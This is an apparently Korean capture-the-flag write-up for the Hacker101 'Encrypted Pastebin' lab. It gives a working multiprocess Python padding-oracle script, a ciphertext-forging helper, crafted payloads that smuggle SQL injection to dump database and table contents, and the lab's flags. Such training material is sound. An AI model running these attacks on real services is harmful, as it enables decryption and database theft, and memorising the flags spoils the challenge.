본문으로 바로가기

[Hacker101 CTF] Encrypted Pastebin

category Wargame/Hacker101 CTF 2020. 2. 16. 19:29

Encrypted Pastebin (Hard, 9)

Flag0

GET parameter 중 post에 잘못된 형식의 값을 넣으면 main.py와 common.py의 일부분을 보여주면서 플래그를 얻을 수 있다.

 

Flag: ^FLAG^61f15643be78413fcd9f8132c6a4fb371e53af53f6dd8bed60af8df3e4286d05$FLAG$

 

Flag1

BASE64 디코딩에서 실패할 경우 아래의 Traceback 로그를 얻는다.

 

Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 46, in decryptLink
    data = b64d(data)
  File "./common.py", line 11, in <lambda>
    b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
  File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
    return binascii.a2b_base64(s)
Error: Incorrect padding

 

AES 복호화에 실패하면 아래의 로그들을 얻을 수 있다.

첫 번째는 8byte, 두 번째는 16byte, 세 번째는 24byte, 마지막은 32byte 길이의 문자열을 보낸 것이다.

 

Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 48, in decryptLink
    cipher = AES.new(staticKey, AES.MODE_CBC, iv)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
    return AESCipher(key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long

 

Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File "./common.py", line 19, in unpad
    padding = data[-1]
IndexError: string index out of range

 

Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 295, in decrypt
    return self._cipher.decrypt(ciphertext)
ValueError: Input strings must be a multiple of 16 in length

 

Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File "./common.py", line 22, in unpad
    raise PaddingException()
PaddingException

 

첫 16바이트는 IV고 그 뒤에 암호화한 값을 주는데, 에러 로그를 그대로 보여주기 때문에 Padding Oracle Attack이 가능하다.

아무 값이나 쓴 뒤 post parameter를 복호화하면 플래그와 어떤 key 값을 준다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
import requests
import base64
import copy
from multiprocessing import Event, Pool, Process, Queue
 
 
# Initalization phase
 
def Initalize() :
    global URL
    global data, iv
 
    URL = 'http://35.227.24.107/a64d5f59ee'
 
    _data = '1ceb0b1bec27338b0d0718bf8c32bd5cf0c87dba2646eff15765e642096f3705831c078e3e8971c4a15cd669f18e2b2a6fad2835cc8b8417cc36d6e4973ac1c2f1009668a18c7ba2abf17ffb4225d178a6e6a1727f78f9d8d37851755411e9803633a4c230668ab2f14b000407e52c9b47e3dc448e66adb3b2a8b25d29b029af978f1669b5b893af064825bef1a63dede5a7532d3f30a7e8d46d1513fc4ba36c'
    _blocks = len(_data) // 32
 
    data = [[int(_data[32*block+2*i:32*block+2*i+2], 16for i in range(16)] for block in range(_blocks)]
    iv = data[0]
 
def BASE64Encode(data) :
    b = b''.join([bytes(bl) for bl in data])    
    r = base64.b64encode(b)
    r = r.decode().replace('=''~').replace('/''!').replace('+''-')
 
    return r
 
def XORBlock(target, key) :
    if len(target) != 16 or len(key) != 16 :
        raise Exception('Invalid block size')
 
    for i in range(16) :
        target[i] ^= key[i]
 
    return target
 
 
# Parsing server response
 
RESP_BAD_DATA       = 0x1
RESP_PADDING_ERROR = 0x2
 
def ParseResponse(resp) :
    if b'PaddingException' in resp : return RESP_PADDING_ERROR
    return RESP_BAD_DATA
 
 
# Get bytes of plaintext
 
class WorkerStatus :
    def __init__(self, rqueue:Queue, event:Event, begin:int, end:int) :
        self.queue = rqueue
        self.event = event
        self.begin = begin
        self.end = end
 
class WorkerData :
    def __init__(self, payload:list, ziv:list, padding_size:int) :
        self.payload = payload
        self.ziv = ziv
        self.padding_size = padding_size
 
 
def _int_RetrieveByte(status:WorkerStatus, args:WorkerData) :
    payload = copy.deepcopy(args.payload)
    ziv = copy.deepcopy(args.ziv)
    padding_size = args.padding_size
    byte = status.begin
 
    while True :
        if status.event.is_set() : return
        if byte == status.end : break
 
        ziv[16-padding_size] = byte
        payload[-2= ziv
        p = BASE64Encode(payload)
 
        try : r = requests.get(URL+'/?post={0}'.format(p))
        except : continue
 
        rc = ParseResponse(r.content)
 
        if rc == RESP_BAD_DATA :
            mbyte = byte^padding_size
            print(' > Value: {0}'.format(mbyte))
 
            status.queue.put(mbyte)
            status.event.set()
            return
 
        byte += 1
 
    status.queue.put(-1)
 
def RetrieveByte(block:int, found:list) -> int :
    payload = copy.deepcopy(data)
    payload = payload[:block+1]
    padding_size = 1
    ziv = copy.deepcopy(found)
 
    if ziv == None :
        ziv = [0 for _ in range(16)]
    else :
        for i in range(16) :
            if ziv[15-i] != -1 : padding_size += 1
            else : break
 
    for i in range(padding_size-1) :
        ziv[15-i] ^= padding_size
 
    for i in range(16) :
        if ziv[i] == -1 : ziv[i] = 0
 
    print('[Info] Getting a byte of index={0} ...'.format(16-padding_size), end='', flush=True)
 
    processes = []
    e = Event()
    q = Queue()
 
    for i in range(8) :
        status = WorkerStatus(q, e, 32*i, 32*(i+1))
        args = WorkerData(payload, ziv, padding_size)
 
        _p = Process(target=_int_RetrieveByte, args=(status, args))
        _p.start()
        processes.append(_p)
 
    for _p in processes :
        _p.join()
 
    _c = 0
 
    while True :
        _ret = q.get()
        _c += 1
 
        if _ret != -1 : return _ret
        if _c >= 8 : break
 
    return -1
 
 
# Get blocks of plaintext
 
def RetrieveBlock(block:int) :
    print('[Info] Getting a block of index={0} ...'.format(block))
 
    found = [-1 for _ in range(16)]
 
    for index in range(16) :
        b = RetrieveByte(block, found)
 
        if b == -1 :
            print('[Info] Failed to get byte at block={0}, index={1}'.format(block, 15-index))
            return None
 
        found[15-index] = b
 
    print('[Info] Block: {0}'.format(found))
 
    return found
 
 
# Attack phase
 
def Attack() :
    blocks = len(data)
    plaintext = ''
 
    for bindex in range(1, blocks) :
        pb = RetrieveBlock(bindex)
        pb = XORBlock(pb, data[bindex-1])
 
        for i in range(16) :
            plaintext += chr(pb[i])
 
    print('Decrypted data: '+plaintext)
 
 
# Main
 
if __name__ == '__main__' :
    Initalize()
    Attack()

 

{"flag": "^FLAG^9fe883fd8c86923e9e81a20dda3e6f3671828759cc49dd231199392a2f42b9e8$FLAG$", "id": "8", "key": "OD83QAFcBPZ1LQOqLtcxcw~~"}

 

Flag: ^FLAG^9fe883fd8c86923e9e81a20dda3e6f3671828759cc49dd231199392a2f42b9e8$FLAG$

 

 

Flag2

처음에는 Flag1에서 얻은 key가 AES에 사용된 키 값이라고 생각했지만 아니었다.

원본의 첫 번째 블럭은 {"flag": "^FLAG^이므로 이 블럭과 IV, 목표 변조값을 xor하면 된다.

첫 번째 블럭을 {"id": "1"}로 바꿔서 보내면 아래의 에러 로그와 함께 플래그를 얻을 수 있다.

 

HOsEE696MZMcBzv8xXb!B!DIfbomRu!xV2XmQglvNwU~

 

Attempting to decrypt page with title: ^FLAG^5655815771843fa7a4d95946b95cb3c81f1dacc464ded652d6ac53cd02370a76$FLAG$
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
KeyError: 'key'

 

Flag: ^FLAG^5655815771843fa7a4d95946b95cb3c81f1dacc464ded652d6ac53cd02370a76$FLAG$

 

Flag3

{"id": "1'"} 을 보내면 아래와 같은 응답을 얻는다.

 

Traceback (most recent call last):
  File "./main.py", line 71, in index
    if cur.execute('SELECT title, body FROM posts WHERE id=%s' % post['id']) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

 

내부적으로 SQL을 쓴다는 사실을 알 수 있고, 덤으로 SQL statement도 가져올 수 있다.

SQL Injection으로 데이터베이스 이름을 가져온 뒤, 테이블과 컬럼 목록을 가져오고 마지막으로 값들을 가져오면 된다.

 

하지만 여기서, SQL Injection을 하려면 여러 블럭을 정상적으로 수정해야 하는 작업이 필요하다.

 

 

\(i\)번째 블럭을 \(C_{i}\)라고 하자. (IV는 \(C_{0}\))

\(C_{2}=\mathrm{Dec}(C_{2})\oplus C_{1}\) 이므로, \(C_{2}\)를 수정하려면 \(C_{1}\)을 적절히 변경해 주면 된다. 그러나 \(C_{1}\)을 변경하기 위해서는 \(\mathrm{Dec}(C_{1})\) 의 값이 필요한데, \(C_{2}\)를 변경하기 위해 \(C_{1}\)을 변경했으니 기존의 \(\mathrm{Dec}(C_{1})\) 이 아무 쓸모가 없어진다.

이를 해결하기 위해서는 새로 만든 \(C_{1}\)의 복호화 값을 계산할 필요가 있다. 이것은 마찬가지로 Padding Oracle Attack을 통해 가능하다.

 

Stage 1: DB 이름 및 유저 이름 가져오기

아래와 같이 블럭을 바꾸면 된다. (변경되는 블럭의 개수를 최소화해야 편하다.)

 

 

\(\mathrm{Dec}(C_{6})\) 의 값은 아래와 같다.

 

[130, 160, 237, 51, 56, 92, 219, 244, 243, 90, 56, 17, 118, 43, 201, 162]

 

목표 값을 \(T_{n}\)이라고 할 때, \(C_{5}\) 대신 \(\mathrm{Dec}(C_{6})\oplus T_{6}\) 을 사용한다면 복호화했을 때 \(T_{6}\)을 얻을 수 있다. 이 새로 만든 값을 \(C_{5}'\) 라고 하자. 이 값은 아래와 같다.

 

[195, 225, 172, 114, 121, 29, 154, 181, 178, 120, 122, 83, 52, 9, 243, 128]

 

\(T_{5}\)를 얻기 위해서 \(\mathrm{Dec}(C_{5}')\) 를 계산해야 한다. \(C_{5}'\) 앞에 16개의 NULL 바이트를 붙이고, 해당 16바이트에 대해서 각 바이트마다 Padding Oracle Attack을 진행해서 intermediary value을 알아낼 수 있다. Flag1 단계에서 사용했던 코드를 재활용해서 구하면 아래의 값을 얻게 된다.

 

[113, 208, 16, 198, 196, 119, 172, 188, 193, 228, 130, 159, 121, 156, 236, 193]

 

이 값이 \(\mathrm{Dec}(C_{5}')\) 가 된다. 이 값을 사용해 \(C_{4}'\)를 구하면 아래 값이 나온다.

 

[48, 145, 81, 135, 133, 54, 237, 253, 128, 165, 195, 222, 56, 221, 173, 128]

 

이런 식으로 \(C_{0}'\)까지 구하고 BASE64로 인코딩한 값을 post에 넘겨주면 데이터베이스 이름을 가져올 수 있다.

손으로 하는 게 귀찮아서 임시로 parameter를 계산하는 자동화 스크립트를 만들었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def ChangeBlocks(target) :
    global data
 
    mblocks = [
        [10320110911914164171774537702491921152502],
        [201174241303011713714911162221164893496],
        [18612163191951876516019761229121992322428],
        [88156167244188177461758522622124394243241],
        [19249175811461817319515315175201322818064],
        [13016023751569221924424390561711843201162],
        [1417136226181323920321111332387216120168],
        [2216215439204542471302542492534410119674215],
        [2442481042315119715316512664718025117255231]]
 
    blocks = len(target)
    payload = data[blocks:]
 
    to_change = XORBlock(mblocks[blocks-1], target[blocks-1])
    payload = to_change + payload
 
    for i in range(1, blocks) :
        data = [[0 for _ in range(16)], to_change]
        b = RetrieveBlock(1)
        to_change = XORBlock(b, target[blocks-1-i])
        payload = [to_change] + payload
 
    print(payload)
    print(BASE64Encode(payload))

 

CR2YyWVHC2J8qyBUtXFd2b4zHeHuypm7Qia9aFDH92DbZKWBmzDqW0cFIfnLul2yd98lRis2ciK5rRIGQ3y8fDCRUYeFNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: level3
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 34, in decryptPayload
    data = b64d(data)
  File "./common.py", line 11, in <lambda>
    b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
  File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
    return binascii.a2b_base64(s)
Error: Incorrect padding

 

DB 이름은 level3이다. 또한 아래와 같이 블럭을 바꾸면 유저 이름을 알 수 있다.

 

 

FMb9XyevGdMkj9PnPWbbzT4md4cc2!Y9rMEpsumlqSi2c7eXjDDqW0cFIfnLul2yd98lRis2ciK5rRIGQ3y8fDCRUYeFNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: root@localhost
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 34, in decryptPayload
    data = b64d(data)
  File "./common.py", line 11, in <lambda>
    b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
  File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
    return binascii.a2b_base64(s)
Error: Incorrect padding

 

Stage2: 테이블 이름 가져오기

아래 그림처럼 블럭들을 바꾸면 된다.

 

 

c!4eRwUDK7HHbl!KC5j8u-PPK9Stu851vbyvx2N2jlA32SjXnC8k69lid9vu6TPmeshRAgaBkhoqohGA8qGAif7Z40z56INDHrihueh6W1eIoonYrwAJqXDIrl158a7CAELW!uFnNf3W4k4AoimaFXPbuB3ud7bDv7i8bSSFC5aXjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: posts,tracking
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 36, in decryptPayload
    cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
  File "./common.py", line 11, in 
    b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
  File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
    return binascii.a2b_base64(s)
Error: Incorrect padding

 

Stage3: Column 이름 가져오기

 

 

MBQo54AcKUcHRrbgO7iR3gTTDdC73KKMoXSOlDK3363JjushbkxGcpvgXa6UuhuDn!-73MZUJtpWZz-BAr2W!ugDN-EPVvKH-X2wl82Ztrj1H8w5Y53Z-W!l3nxkbfdx56wKOp8l6kGeEx7j6NZcT2-AoAWNd7bDv7i8bSSFC5aXjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: id,title,body
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 36, in decryptPayload
    cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
    return AESCipher(key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long

 

N8lyUR7EfeqOei!xRNAP9yqbBHG4CoGf3uj4i5pQ76oeZk!7qPuSadUktCJhzAsECIIOBD42Q7NcaMPXc6uKMX-H8V!ZKu!6pUrEIIzjhl7WEXS!KbuJ2JG7ukLxpIEShVrbnwGv9IsTlcPAIxX68DTJ!17uDNXDv7i8bSSFC5aXjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: id,headers
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 36, in decryptPayload
    cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
    return AESCipher(key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long

 

Stage4: tracking 테이블 dump

지금까지 나온 소스코드로 미루어 추정해보면, 서버의 DB에는 body가 key로 암호화 된 상태로 저장되어 있다고 예측할 수 있다. 따라서 다른 id를 가지고 있는 포스트의 body를 알기 위해서는 key에 대한 정보가 반드시 있어야 한다. 아마 tracking 테이블에 이 정보가 있을 것이라고 예상해볼 수 있다.

 

 

GY19OJ2N-mEuwDAVa-uF38olUyTIFbK7-PGOCqUc0EededP0526KmhwrIml2Y-MIRP8HbAMZVEHUzhIGQx!HHzCRUYeFNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: 1,2
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 36, in decryptPayload
    cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
    return AESCipher(key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long

 

GM7lVyb6-g5q0ESmVQyKdkxe9OcM-HENJoZfP78ZEuawQMYf4HJaIs1Ua0U-NBv0TeDfTBd9LeI1FaUHTGZdlzCRMvzmNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~

 

Attempting to decrypt page with title: Referer: http://127.0.0.1:14807/?post=3qgJL8cHXZDJRjPUqmRZ9fJAA7F6RT202sD4wML5bBFKhwkVfDekR86COzwzv1JXZsDkjVGeRYTC9SVE09kreg~~
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Host: 127.0.0.1:14807
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
 
,Referer: http://35.227.24.107/95579f8c35/
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Connection: close
Host: 127.0.0.1:49015
Cache-Control: max-stale=0
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Accept-Language: en-US,en;q=0.7,ko;q=0.3
Accept-Encoding: gzip, deflate
 
 
Traceback (most recent call last):
  File "./main.py", line 74, in index
    body = decryptPayload(post['key'], body)
  File "./common.py", line 36, in decryptPayload
    cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
    return AESCipher(key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long

 

어떤 post 값이 보이는데, 저 값을 Padding Oracle Attack으로 복호화하면 아래의 문자열을 얻을 수 있다.

 

{"id": 1, "key": "EQLOLLlxmcJU31ai2YQtdQ~~"}

 

Stage5: id=1 포스트 읽기

다시 암호화할 필요 없이 tracking 로그에 찍힌 post parameter를 그대로 전달해 주면 플래그를 얻을 수 있다. 제목은 Flag2이고, 내용이 Flag3이다.

 

Flag: ^FLAG^827a22025140a6402289287d46e43f051c1e747e1d444cd24827eee79aaba0bd$FLAG$

 

Reference

https://en.wikipedia.org/wiki/Padding_oracle_attack

http://laughfool.tistory.com/attachment/cfile7.uf@135D7C3F4F799B14313DAA.pdf

https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/padding-oracle-attack-zh/

https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

 

 

'Wargame > Hacker101 CTF' 카테고리의 다른 글

[Hacker101 CTF] Cody's First Blog  (0) 2020.02.18
[Hacker101 CTF] Photo Gallery  (0) 2020.02.18
[Hacker101 CTF] Micro-CMS v2  (0) 2020.02.15
[Hacker101 CTF] Micro-CMS v1  (0) 2020.02.15
[Hacker101 CTF] A little something to get you started  (0) 2020.02.15